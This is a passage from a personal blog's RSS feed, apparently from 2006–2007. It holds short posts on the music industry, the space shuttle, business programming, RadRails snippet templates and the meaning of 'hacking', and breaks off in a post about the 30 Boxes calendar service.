<p>*If you couldn&#8217;t figure out by here that the sarcasm tags were on overdrive, then please seek help. Lack of sarcastic understanding is a serious disorder that needs to be addressed by a proffesional. Preferably, a sarcastic one.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/07/20/comment-driven-development/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Radio Feedback</title>
		<link>http://devillecompanies.org/2007/04/29/radio-feedback/</link>
		<comments>http://devillecompanies.org/2007/04/29/radio-feedback/#comments</comments>
		<pubDate>Sun, 29 Apr 2007 07:42:58 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[RIAA]]></category>

		<category><![CDATA[rant]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=53</guid>
		<description><![CDATA[The Top 40 of the Music industry once fueled it&#8217;s growth by driving more album sales. Now it does the opposite. With the rise of iTunes and other single song sales vectors, the Top 40 gets pushed, while the rest of the album&#8217;s songs get neglected. Thus, the obeying public goes out and buys what [...]]]></description>
			<content:encoded><![CDATA[<p>The Top 40 of the Music industry once fueled it&#8217;s growth by driving more album sales. Now it does the opposite. With the rise of iTunes and other single song sales vectors, the Top 40 gets pushed, while the rest of the album&#8217;s songs get neglected. Thus, the obeying public goes out and buys what they are told, however, only via iTunes. They buy it literally, and ignore the rest of the album.</p>
<p>This is due to both poor quality, and low marketing. There is no marketing for the rest of the album, only hope from the industry. Hope that the old model of producing cruddy songs, with a few hits, will still sell. For years they have gotten by on producing the one hit wonder CD. Now they wonder why they are failing?</p>
<p>The recent moves by the Copyright royalty board are only going to further things. Internet radio was the only place where there was enough time and listeners to play all of the rest of the album.  I don&#8217;t know what&#8217;s going to happen, but if Congress doesn&#8217;t pass the Internet Radio Equality Act (H.R. 2060), I strongly suspect that the industry will just fail faster.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/04/29/radio-feedback/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Scary</title>
		<link>http://devillecompanies.org/2007/03/26/scary/</link>
		<comments>http://devillecompanies.org/2007/03/26/scary/#comments</comments>
		<pubDate>Mon, 26 Mar 2007 22:51:23 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[people]]></category>

		<category><![CDATA[rant]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=76</guid>
		<description><![CDATA[This is just wrong. I&#8217;m really glad to see the general reaction  is similar to mine!
Kathy, my prayers are with you, and I hope to see you back online. However, I understand if you stop here.
JD
]]></description>
			<content:encoded><![CDATA[<p><a href="http://headrush.typepad.com/creating_passionate_users/2007/03/as_i_type_this_.html">This</a> is just wrong. I&#8217;m really glad to see the <a href="http://twitter.com/Mols/statuses/13233851">general</a> <a href="http://twitter.com/Ross/statuses/13239731">reaction </a> <a href="http://twitter.com/kosso/statuses/13263601">is</a> similar to mine!</p>
<p>Kathy, my prayers are with you, and I hope to see you back online. However, I understand if you stop here.</p>
<p>JD</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/03/26/scary/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Shuttle Rant</title>
		<link>http://devillecompanies.org/2007/02/10/shuttle-rant/</link>
		<comments>http://devillecompanies.org/2007/02/10/shuttle-rant/#comments</comments>
		<pubDate>Sat, 10 Feb 2007 12:11:56 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Aside]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=75</guid>
		<description><![CDATA[I just ran across this great quote that looks at the space shuttle from a future archaeologist&#8217;s point of view:
Taken on its own merits, the Shuttle gives the impression of a vehicle designed to be launched repeatedly to near-Earth orbit, tended by five to seven passengers with little concern for their personal safety, and requiring [...]]]></description>
			<content:encoded><![CDATA[<p>I just ran across <a href="http://www.idlewords.com/2005/08/a_rocket_to_nowhere.htm">this great quote</a> that looks at the space shuttle from a future archaeologist&#8217;s point of view:</p>
<blockquote><p>Taken on its own merits, the Shuttle gives the impression of a vehicle designed to be launched repeatedly to near-Earth orbit, tended by five to seven passengers with little concern for their personal safety, and requiring extravagant care and preparation before each flight, with an almost fetishistic emphasis on reuse. Clearly this primitive space plane must have been a sacred artifact, used in religious rituals to deliver sacrifice to a sky god.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/02/10/shuttle-rant/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Three Features</title>
		<link>http://devillecompanies.org/2007/02/08/three-features/</link>
		<comments>http://devillecompanies.org/2007/02/08/three-features/#comments</comments>
		<pubDate>Fri, 09 Feb 2007 05:51:41 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=74</guid>
		<description><![CDATA[Reganwald had an interesting post about business programming the other day. In it he discussed the idea that business programming is about to become a lot more interesting. He suggests that business programming will require knowledge of the more science-y aspects of computer science, such as &#8220;recursion, operations on data structures, code generation, and other [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://weblog.reganwald.com">Reganwald</a> had an interesting <a href="http://weblog.raganwald.com/2007/01/business-programming-standards-have.html">post about business programming</a> the other day. In it he discussed the idea that business programming is about to become a lot more interesting. He suggests that business programming will require knowledge of the more science-y aspects of computer science, such as &#8220;recursion, operations on data structures, code generation, and other topics that are often derided as being &#8220;unnecessary&#8221; in a business programming context.&#8221; I tend to agree, and if I&#8217;m (he&#8217;s, we&#8217;re, something like that) wrong, then I&#8217;d venture to say that <em>business</em> is wrong, not us.</p>
<p>He does a better job of explaining it both in <a href="http://weblog.raganwald.com/2007/01/business-programming-standards-have.html">that post</a> and in <a href="http://weblog.raganwald.com/2006/08/dear-agile-metaprogrammer.html">another</a> where he implicitly comments on the state of enterprise programming, and how the &#8220;immature&#8221; Ruby programmers <a href="http://schemers.org/">and</a> <a href="http://pragmaticprogrammer.com/">their</a> <a href="http://lambda-the-ultimate.org/">kin</a> are making things difficult for the hypothetical Java programmer.</p>
<p>However, more to the point of this post, is the question at the end.</p>
<blockquote>
<p>Name three features from public web &#8216;sites&#8217; like Google, Amazon, and YouTube (you can pick any site or sites you like) that will make the jump to business applications in 2007.</p>
</blockquote>
<p>He asks it in reference to a job opening that someone has, and readers are supposed to e-mail their answer in. I am getting ready to interview for someone else, so I decided against trying for this. However I still wanted to give my answer to the question.</p>
<ul>
<li>Usability</li>
<li>User-Generated Content (UGC)</li>
<li>Tags</li>
</ul>
<h3>Usability</h3>
<p>Users, especially web-savvy users are beginning to see the enjoyment, fun, and usefulness of sites like <a href="http://gmail.com/">Gmail,</a> <a href="http://reader.google.com/">Google Reader,</a> and <a href="http://flickr.com/">Flickr.</a> I think that users will start to expect this type of interaction from all applications in their life, and be disturbed by business applications that try to play by different rules.</p>
<h3>User-Generated Content</h3>
<p>Companies will have to recognize the value and knowledge held by their employees (and possibly users). I imagine it will start with a single company opening up, and then it will become a landslide. Knowledge is too valuable to have it locked up in silos, especially if those silos are free to walk away.</p>
<h3>Tags</h3>
<p>Tags, keywords, call them what you will. The fact is: they work. Whats best about them, and what separates them from categories and keywords, is that they are defined at publishing <em>and</em> post-publishing. This allows tremendous adaptation that can&#8217;t be achieved with structured hierarchical categorizing. If I want to tag something, it just requires a database change, not a folder change. Yes, this is possible with keywords and similar methods, but the attitude is different. I think it is in the same way that Web 2.0 is different than <span class="caps">DHTML</span>. Same technology, different feel.</p>
<h2>Conclusion</h2>
<p>Only time will tell how this will all play out. It&#8217;s a cliche, but it&#8217;s true. Meanwhile, I think your going to see exciting improvements, and perhaps convergence of business and consumer technology. With that, you&#8217;ll probably see changes in thinking from the top to the bottom of companies. If a company doesn&#8217;t change, well, there&#8217;s always the Titanic.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/02/08/three-features/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Grocist-Your Grocery List Since 2006</title>
		<link>http://devillecompanies.org/2007/02/07/grocist-your-grocery-list-since-2006/</link>
		<comments>http://devillecompanies.org/2007/02/07/grocist-your-grocery-list-since-2006/#comments</comments>
		<pubDate>Thu, 08 Feb 2007 05:06:52 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=73</guid>
		<description><![CDATA[Grocist-Your Grocery List Since 2006
Really cool site, and idea. Found again via A Whole Lotta Nothing.
Once this becomes automatic, its gonna be really cool.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://grocist.nfshost.com/index.py">Grocist-Your Grocery List Since 2006</a></p>
<p>Really cool site, and idea. Found again via <a href="http://a.wholelottanothing.org/">A Whole Lotta Nothing.</a></p>
<p>Once this becomes automatic, its gonna be really cool.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2007/02/07/grocist-your-grocery-list-since-2006/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RadRails Template Documentation</title>
		<link>http://devillecompanies.org/2006/12/14/radrails-template-documentation/</link>
		<comments>http://devillecompanies.org/2006/12/14/radrails-template-documentation/#comments</comments>
		<pubDate>Fri, 15 Dec 2006 02:44:12 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Ruby on Rails]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[coding]]></category>

		<category><![CDATA[radrails]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=68</guid>
		<description><![CDATA[Ruby

alias &#8211; alias
atr &#8211; attribute reader
begin &#8211; begin rescue block
begin &#8211; begin rescue ensure block
block &#8211; do&#8230;end single variable block
block &#8211; do&#8230;end two variable block
block &#8211; single variable block
block &#8211; two variable block
case &#8211; case statement
class &#8211; Class Definition
class &#8211; class with initialize
class &#8211; Singleton Class Definition
def &#8211; def with params
def &#8211; method definition
defs &#8211; [...]]]></description>
			<content:encoded><![CDATA[<h2>Ruby</h2>
<ul>
<li>alias &#8211; alias</li>
<li>atr &#8211; attribute reader</li>
<li>begin &#8211; begin rescue block</li>
<li>begin &#8211; begin rescue ensure block</li>
<li>block &#8211; do&#8230;end single variable block</li>
<li>block &#8211; do&#8230;end two variable block</li>
<li>block &#8211; single variable block</li>
<li>block &#8211; two variable block</li>
<li>case &#8211; case statement</li>
<li>class &#8211; Class Definition</li>
<li>class &#8211; class with initialize</li>
<li>class &#8211; Singleton Class Definition</li>
<li>def &#8211; def with params</li>
<li>def &#8211; method definition</li>
<li>defs &#8211; class method definition</li>
<li>each &#8211; each block</li>
<li>else &#8211; else block</li>
<li>elsif &#8211; elsif block</li>
<li>for &#8211; for &#8211; iterate over Collection</li>
<li>for &#8211; for &#8211; iterate over Range</li>
<li>if &#8211; if block</li>
<li>ifeif &#8211; ifelseif block</li>
<li>ifelse &#8211; if-else block</li>
<li>inject &#8211; inject block</li>
<li>lambda &#8211; lambda block</li>
<li>loop &#8211; loop block</li>
<li>module &#8211; Module definition</li>
<li>pp &#8211; plus plus</li>
<li>r &#8211; require</li>
<li>rescue &#8211; rescue block</li>
<li>rescue &#8211; rescue block with error variable</li>
<li>until &#8211; until loop</li>
<li>while &#8211; while loop</li>
<li>while &#8211; while statement</li>
</ul>
<p>Get the ruby pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/ruby.zip">Here</a></p>
<h2>Controller</h2>
<ul>
<li>rcea &#8211; render component action</li>
<li>rcec &#8211; render component controller</li>
<li>rceca &#8211; render component controller action</li>
<li>rea &#8211; redirect_to(action)</li>
<li>reai &#8211; redirect_to(action,id)</li>
<li>rec &#8211; redirect_to(controller,action)</li>
<li>reca &#8211; redirect_to(controller,action)</li>
<li>recai &#8211; redirect_to(controller,action,id)</li>
<li>reu &#8211; redirect_to(url)</li>
<li>verify &#8211; verify</li>
<li>verifyr &#8211; verify redirect</li>
</ul>
<p>Get the controller pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/controller.zip">here</a></p>
<h2>Models</h2>
<ul>
<li>aal &#8211; acts_as_list</li>
<li>aat &#8211; acts_as_tree</li>
<li>bt &#8211; belongs to</li>
<li>bt &#8211; belongs to basic</li>
<li>find &#8211; find</li>
<li>find &#8211; find conditions order</li>
<li>find &#8211; find conditions order group</li>
<li>finda &#8211; find all</li>
<li>findf &#8211; find first</li>
<li>habtm &#8211; has and belongs to many</li>
<li>hm &#8211; has many complex</li>
<li>hm &#8211; has_many</li>
<li>ho &#8211; has one</li>
<li>ho &#8211; has one complex</li>
</ul>
<p>Get the models pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/models.zip">here</a></p>
<h2>Validation</h2>
<ul>
<li>va &#8211; validates_associated(attributes)</li>
<li>vaco &#8211; validates_acceptance_of(attribute,message)</li>
<li>vaif &#8211; validates associated if</li>
<li>vaon &#8211; validates_associated(attributes) on</li>
<li>vc &#8211; validates_confirmation_of(attributes,message)</li>
<li>vcif &#8211; validates confirmation of attribute on message if</li>
<li>vcon &#8211; validates_confirmation_of(attributes,message) on</li>
<li>ve &#8211; validates_exclusion_of(attribute,in,message)</li>
<li>veach &#8211; validates_each</li>
<li>veif &#8211; validates exclusion if</li>
<li>vf &#8211; validates_format_of(attribute,with,message)</li>
<li>vi &#8211; validates_inclusion_of(attribute,in,message)</li>
<li>vl &#8211; validates_length_of(attribute,maximum,message)</li>
<li>vl &#8211; validates_length_of(attribute,minimum,message)</li>
<li>vl &#8211; validates_length_of(attribute,range,message)</li>
<li>vn &#8211; validates numericality of</li>
<li>vp &#8211; validates_presence_of(attribute,message)</li>
<li>vpif &#8211; validates_presence_of(attribute,message)</li>
<li>vs &#8211; validates_size_of(attribute,maximum,message)</li>
<li>vs &#8211; validates_size_of(attribute,minimum,message)</li>
<li>vs &#8211; validates_size_of(attribute,range,message)</li>
<li>vu &#8211; validates_uniqueness_of(attribute,message)</li>
<li>vuif &#8211; validates_uniqueness_of(attribute,message)</li>
<li>vus &#8211; validates_uniqueness_of(attribute,message,scope)</li>
<li>vusif &#8211; validates_uniqueness_of(attribute,message,scope)</li>
</ul>
<p>Get the validation pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/validation.zip">here</a></p>
<h2>Render</h2>
<ul>
<li>ra &#8211; render action</li>
<li>ral &#8211; render action,layout</li>
<li>rf &#8211; render(file)</li>
<li>rfu &#8211; render(file,use_full_path)</li>
<li>ri &#8211; render(inline)</li>
<li>ril &#8211; render(inline,locals)</li>
<li>rit &#8211; render(inline,type)</li>
<li>rl &#8211; render(layout)</li>
<li>rn &#8211; render(nothing)</li>
<li>rns &#8211; render(nothing,status)</li>
<li>rp &#8211; render(partial)</li>
<li>rpc &#8211; render(partial,collection)</li>
<li>rpl &#8211; render(partial,locals)</li>
<li>rpo &#8211; render(partial,object)</li>
<li>rps &#8211; render(partial,status)</li>
<li>rt &#8211; render text</li>
<li>rtl &#8211; render text layout</li>
<li>rtlt &#8211; render text layout true</li>
<li>rts &#8211; render text status</li>
</ul>
<p>Get the render pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/render.zip">here</a></p>
<h2>Environment</h2>
<ul>
<li>flash &#8211; flash[]</li>
<li>logi &#8211; logger info</li>
<li>logn &#8211; logger notice</li>
<li>logw &#8211; logger warning</li>
<li>p &#8211; params</li>
<li>s &#8211; session</li>
<li>sset &#8211; session setter</li>
</ul>
<p>Get the environment pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/environment.zip">here</a></p>
<h2>Migration</h2>
<ul>
<li>mac &#8211; add column</li>
<li>mai &#8211; add index</li>
<li>mcc &#8211; change column</li>
<li>mct &#8211; create table</li>
<li>mdt &#8211; drop table</li>
<li>mex &#8211; execute</li>
<li>mnc &#8211; rename column</li>
<li>mrc &#8211; remove column</li>
<li>mri &#8211; remove index</li>
<li>mtc &#8211; t.column create</li>
</ul>
<p>Get the migration pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/migration.zip">here</a></p>
<h2>Testing</h2>
<ul>
<li>ae &#8211; assert_equal</li>
<li>aio &#8211; assert instance of</li>
<li>ako &#8211; assert_kind_of</li>
<li>am &#8211; assert match</li>
<li>an &#8211; assert nil</li>
<li>ane &#8211; assert not equal</li>
<li>anm &#8211; assert not match</li>
<li>ann &#8211; assert_not_nil</li>
<li>ar &#8211; assert_raise</li>
<li>are &#8211; assert_response</li>
<li>aret &#8211; assert respond to</li>
<li>art &#8211; assert_redirected_to</li>
</ul>
<p>Get the testing pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/testing.zip">here</a></p>
<h2>Rspec</h2>
<ul>
<li>cn &#8211; controller name</li>
<li>cshra &#8211; controller should have rendered action</li>
<li>cshrt &#8211; controller should have rendered text</li>
<li>cshrte &#8211; controller should have rendered template</li>
<li>csra &#8211; controller should render action</li>
<li>csrdt &#8211; controller should redirect to</li>
<li>csrr &#8211; controller should render rjs</li>
<li>csrrp &#8211; controller should render rjs page</li>
<li>csrt &#8211; controller should render text</li>
<li>csrte &#8211; controller should render template</li>
<li>rsbr &#8211; response should be redirect</li>
<li>rsbs &#8211; response should be success</li>
<li>sbe &#8211; should be empty</li>
<li>sbio &#8211; should be instance of</li>
<li>sbn &#8211; should be nil</li>
<li>sbs &#8211; should be something</li>
<li>se &#8211; should equal</li>
<li>sh &#8211; should have</li>
<li>shr &#8211; should have rjs</li>
<li>shrp &#8211; should have rjs page</li>
<li>sht &#8211; should have tag</li>
<li>shtc &#8211; should have tag content</li>
<li>sm &#8211; should match</li>
<li>snbe &#8211; should not be empty</li>
<li>sne &#8211; should not equal</li>
<li>snm &#8211; should not match</li>
<li>srt &#8211; should respond to</li>
<li>ss &#8211; should something</li>
</ul>
<p>Get the rspec pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/rspec.zip">here</a></p>
<h2>Rhtml</h2>
<ul>
<li>a &#8211; html link</li>
<li>at &#8211; attributes</li>
<li>cb &#8211; check box</li>
<li>cbt &#8211; check box tag</li>
<li>cfl &#8211; content for layout</li>
<li>comment &#8211; comment</li>
<li>div &#8211; div</li>
<li>ds &#8211; date select</li>
<li>dth1 &#8211; doctype xhtml 1.1</li>
<li>dthf &#8211; doctype 4 frameset</li>
<li>dths &#8211; doctype html strict</li>
<li>dtht &#8211; doctype html transitional</li>
<li>dtxf &#8211; doctype xhtml frameset</li>
<li>dtxs &#8211; doctype xhtml strict</li>
<li>dtxt &#8211; doctype xhtml transitional</li>
<li>emf &#8211; error message for</li>
<li>ff &#8211; file field</li>
<li>forin &#8211; for&#8230;in..end</li>
<li>frt &#8211; form_remote_tag(html)</li>
<li>ft &#8211; form_tag</li>
<li>hf &#8211; hidden field</li>
<li>hft &#8211; hidden field tag</li>
<li>htdoc &#8211; document outline</li>
<li>htt &#8211; http://</li>
<li>if &#8211; if block</li>
<li>ifei &#8211; if else if</li>
<li>ifeie &#8211; if else if else block</li>
<li>ifelse &#8211; if else block</li>
<li>img &#8211; image</li>
<li>ist &#8211; image submit tag</li>
<li>it &#8211; image tag</li>
<li>li &#8211; li</li>
<li>lia &#8211; link_to(action)</li>
<li>liai &#8211; link_to(action,id)</li>
<li>lic &#8211; link_to(controller)</li>
<li>lica &#8211; link_to(controller,action)</li>
<li>licai &#8211; link_to(controller,action,id)</li>
<li>link &#8211; link</li>
<li>ltr &#8211; link_to_remote(name,update,url)</li>
<li>meta &#8211; meta tag</li>
<li>metah &#8211; meta http equiv</li>
<li>ol &#8211; ol</li>
<li>pe &#8211; pe</li>
<li>pf &#8211; password field</li>
<li>pft &#8211; password field tag</li>
<li>pm &#8211; percent minus</li>
<li>pr &#8211; asp style script tags</li>
<li>pta &#8211; p text area</li>
<li>ptf &#8211; p text field</li>
<li>rb &#8211; radio button</li>
<li>rbt &#8211; radio button tag</li>
<li>rp &#8211; render partial</li>
<li>rpc &#8211; render partial collection</li>
<li>s &#8211; select</li>
<li>span &#8211; span</li>
<li>st &#8211; submit tag</li>
<li>style &#8211; style</li>
<li>ta &#8211; text area</li>
<li>table &#8211; table</li>
<li>tat &#8211; text area tag</li>
<li>td &#8211; td tag</li>
<li>tf &#8211; text field</li>
<li>tft &#8211; text field tag</li>
<li>trtd &#8211; tr and td</li>
<li>tt &#8211; closed tag</li>
<li>ul &#8211; ul</li>
</ul>
<p>Get the rhtml pack <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/rhtml.zip">here</a></p>
<p>Finally, documentation as promised. You can get the entire set of packs <a href="http://www.devillecompanies.org/wp-content/uploads/2006/12/radrails-pack.zip">here</a> as one zip file with all of the individual xml files inside. Or you can just download <a href="http://www.devillecompanies.org/wp-content/uploads/2006/11/ruby-all.zip">this zip</a> and get it as two files. One for <span class="caps">RHTML</span>, and one for Ruby.</p>
<p>I&#8217;d also like to share my script for making this documentation. It should work for any Eclipse template file. Change the extension to .rb, and drop it in the directory with the xml files. Run it and it should create a txt file for each xml file in the directory. The text file is in <a href="http://www.textism.com/tools/textile/">textile</a> and it is simply a h2 followed by a list of the templates. <a href="http://www.devillecompanies.org/wp-content/uploads/2006/12/eclipse_docrb.txt">Enjoy</a></p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/12/14/radrails-template-documentation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Documentation update</title>
		<link>http://devillecompanies.org/2006/11/21/documentation-update/</link>
		<comments>http://devillecompanies.org/2006/11/21/documentation-update/#comments</comments>
		<pubDate>Tue, 21 Nov 2006 07:55:24 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=67</guid>
		<description><![CDATA[So, I finished the documentation&#8230; but is not up&#8230; because WP lost it. I went to edit the source, and I lost 3/4 of my post. So I have to redo it&#8230;. )#*&#038;$(*)&#038;$(*&#038;@#$@#)(*&#038;
JD
]]></description>
			<content:encoded><![CDATA[<p>So, I finished the documentation&#8230; but is not up&#8230; because WP lost it. I went to edit the source, and I lost 3/4 of my post. So I have to redo it&#8230;. )#*&#038;$(*)&#038;$(*&#038;@#$@#)(*&#038;</p>
<p>JD</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/11/21/documentation-update/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RadRails textmate templates</title>
		<link>http://devillecompanies.org/2006/10/08/radrails-textmate-templates/</link>
		<comments>http://devillecompanies.org/2006/10/08/radrails-textmate-templates/#comments</comments>
		<pubDate>Mon, 09 Oct 2006 05:07:13 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=55</guid>
		<description><![CDATA[I have been inspired by earlier templates for RadRails and by the templates for JEdit, I have created another set of templates. These ones use the same commands as TextMate, and can use the same reference as the ones for JEdit (although I will try to post another reference soon).
To install:

Unzip this file
Open RadRails
Goto Window>Preferences&#8230;
Goto [...]]]></description>
			<content:encoded><![CDATA[<p>I have been inspired by <a title="Textmate templates" href="http://schf.uc.org/articles/2006/09/18/textmate-like-template-syntax-for-radrails">earlier templates for</a> <a title="RadRails" href="http://radrails.org">RadRails</a> and by the <a title="JEdit Textmate Templates" href="http://synthesis.sbecker.net/articles/2006/03/20/jedit-snippets-for-ruby-on-rails">templates for</a> <a title="JEdit" href="http://www.jedit.org/">JEdit</a>, I have created another set of templates. These ones use the same commands as <a title="TextMate" href="http://macromates.com/">TextMate</a>, and can use the same reference as the ones for JEdit (although I will try to post another reference soon).</p>
<p>To install:</p>
<ol>
<li>Unzip <a title="New Textmates Templates for RadRails" href="http://www.devillecompanies.org/wp-content/uploads/2006/10/templates1.zip">this file</a></li>
<li>Open RadRails</li>
<li>Goto Window>Preferences&#8230;</li>
<li>Goto the Rails>Editors>RHTML Editor>RHTML Templates section</li>
<li>Import the RHTML file.</li>
<li>Goto the Ruby>Editor>Templates section</li>
<li>Import the Ruby file</li>
<li>Test it</li>
</ol>
<ol>
<li>Open a ruby file</li>
<li>Type &#8216;bt&#8217; followed by Ctl+Space</li>
<li>Choose one of the belongs_to options</li>
<li>Tab between sections to fill in the parameters</li>
<li>Start typing on the next line, cause you&#8217;re done!</li>
</ol>
<p>Hope you all enjoy, this includes both the regular Textmate Templates, plus some that I find useful (like pp which expands to +=, pure laziness, but nice for someone coming from Java/C#/C++ background).</p>
<p>JD</p>
<p>EDIT: So, for the life of me, I realized that I didn&#8217;t include habtm in the templates. Why, I don&#8217;t know, its not like I enjoy typing that beast, anyways, here is a new zip that includes the new template. If you want just the single template for habtm, let me know and I can post it as well. JD</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/10/08/radrails-textmate-templates/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hacking</title>
		<link>http://devillecompanies.org/2006/10/01/hacking/</link>
		<comments>http://devillecompanies.org/2006/10/01/hacking/#comments</comments>
		<pubDate>Mon, 02 Oct 2006 01:13:23 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=52</guid>
		<description><![CDATA[Hacking is an interesting term. The common definition turns it into a nasty creature:
To use one&#8217;s skill in computer programming to gain illegal or unauthorized access to a file or network: hacked into the company&#8217;s intranet.&#8220;hack.&#8221; The American HeritageÂ® Dictionary of the English Language, Fourth Edition. Houghton Mifflin Company, 2004. 01 Oct. 2006. 
Computer geeks [...]]]></description>
			<content:encoded><![CDATA[<p>Hacking is an interesting term. The common definition turns it into a nasty creature:</p>
<blockquote><p>To use one&#8217;s skill in computer programming to gain illegal or unauthorized access to a file or network: hacked into the company&#8217;s intranet.<cite>&#8220;hack.&#8221; The American HeritageÂ® Dictionary of the English Language, Fourth Edition. Houghton Mifflin Company, 2004. 01 Oct. 2006. </cite></p></blockquote>
<p>Computer geeks like me tend to refer to this as &#8220;cracking.&#8221; And it appears that our definition of the term &#8220;hack&#8221; in its original sense is coming back in mainstream news as well. Yahoo recently had a 24-hour &#8220;Yahoo Hack Day,&#8221; and in its press release, they mention that: &#8220;Hack is used in its original sense of &#8216;creative programming&#8217; not illicit sense of breaking into computers.&#8221; What has brought about this change? My theory: <em>Mash-ups</em>.</p>
<p>Mash-ups like <a href="http://www.frappr.com/">Frappr</a> are websites that fundamentally require one or more other sites to function. In Frappr&#8217;s case, they use <a href="http://maps.google.com">Google Maps</a> to create a site where online communities can &#8216;pin&#8217; their location in the map to show their spread across the globe. It works because Google has an open API that allows other sites to send and request information from Google.</p>
<p>Mash-ups are common in the so-called &#8216;Web 2.0&#8242; world, where the user is king, and blogging, podcasts, and Flickr are everyday terms. After Digg came out there were mash-ups that combined Digg and Slashdot, later after other copycats of Digg came, there were mash-ups of these new sites.</p>
<p>The mash-up is probably just a step along the way to maturity for web programming. Application programming saw similar trends, which birthed the PC, Apple, Linux, BSD, GNU, and Open Source Software (OSS). Today, it is nearly a harmonic interaction with the rise of OSS coinciding, and building with, the rise of mashups and cheap internet programming. It will be interesting to see where it goes from here.</p>
<p>It could go the way of Microsoft, IBM, Sun and Oracle, the titans of application programming. Or it could be unpredictable, following in Google&#8217;s footsteps and beyond in ways that are unimagineable. All that can be said for certain is that while Richard Stallman and his followers were tainted by the taste of freedom in OSS, my generation, including myself, will be tainted by this movement. It may be a trend, but perhaps, just perhaps, it will be more. Perhaps it will lead to a change in the way managements are structured. Perhaps it will lead to a weakening of Global Corporations. Perhaps, just perhaps, it will lead to real Democracy and freedom.</p>
<p>Technorati Tags: <a rel="tag" href="http://technorati.com/tag/hacking">hacking</a>, <a rel="tag" href="http://technorati.com/tag/oss">oss</a>, <a rel="tag" href="http://technorati.com/tag/mash%20up">mash up</a>, <a rel="tag" href="http://technorati.com/tag/web%202.0">web 2.0</a>, <a rel="tag" href="http://technorati.com/tag/web%2020">web 20</a>, <a rel="tag" href="http://technorati.com/tag/web20">web20</a>, <a rel="tag" href="http://technorati.com/tag/freedom">freedom</a>, <a rel="tag" href="http://technorati.com/tag/change">change</a></p>
<p class="poweredbyperformancing">powered by <a href="http://performancing.com/firefox">performancing firefox</a></p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/10/01/hacking/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Prime Obsession</title>
		<link>http://devillecompanies.org/2006/08/26/prime-obsession/</link>
		<comments>http://devillecompanies.org/2006/08/26/prime-obsession/#comments</comments>
		<pubDate>Sat, 26 Aug 2006 09:05:10 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=51</guid>
		<description><![CDATA[&#8220;Prime Obsession&#8221; by John Derbyshire (Joseph Henry Press).
]]></description>
			<content:encoded><![CDATA[<p>&#8220;Prime Obsession&#8221; by John Derbyshire (Joseph Henry Press).</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/08/26/prime-obsession/feed/</wfw:commentRss>
		</item>
		<item>
		<title>30 Boxes Issue</title>
		<link>http://devillecompanies.org/2006/08/14/30-boxes-issue/</link>
		<comments>http://devillecompanies.org/2006/08/14/30-boxes-issue/#comments</comments>
		<pubDate>Mon, 14 Aug 2006 10:33:58 +0000</pubDate>
		<dc:creator>James Deville</dc:creator>
		
		<category><![CDATA[30boxes]]></category>

		<category><![CDATA[rant]]></category>

		<guid isPermaLink="false">http://devillecompanies.org/?p=50</guid>
		<description><![CDATA[30boxes
Honestly, I love 30 Boxes. Its a great service, and it has plenty of people who agree. They are innovative, constantly coming out with creative features.

Buddies
MySpace, Flickr, Upcoming and other Web 2.0 site integration
SMS and Email reminders
Integrated Mapping
Tags
The One Box

Themes



Buddies
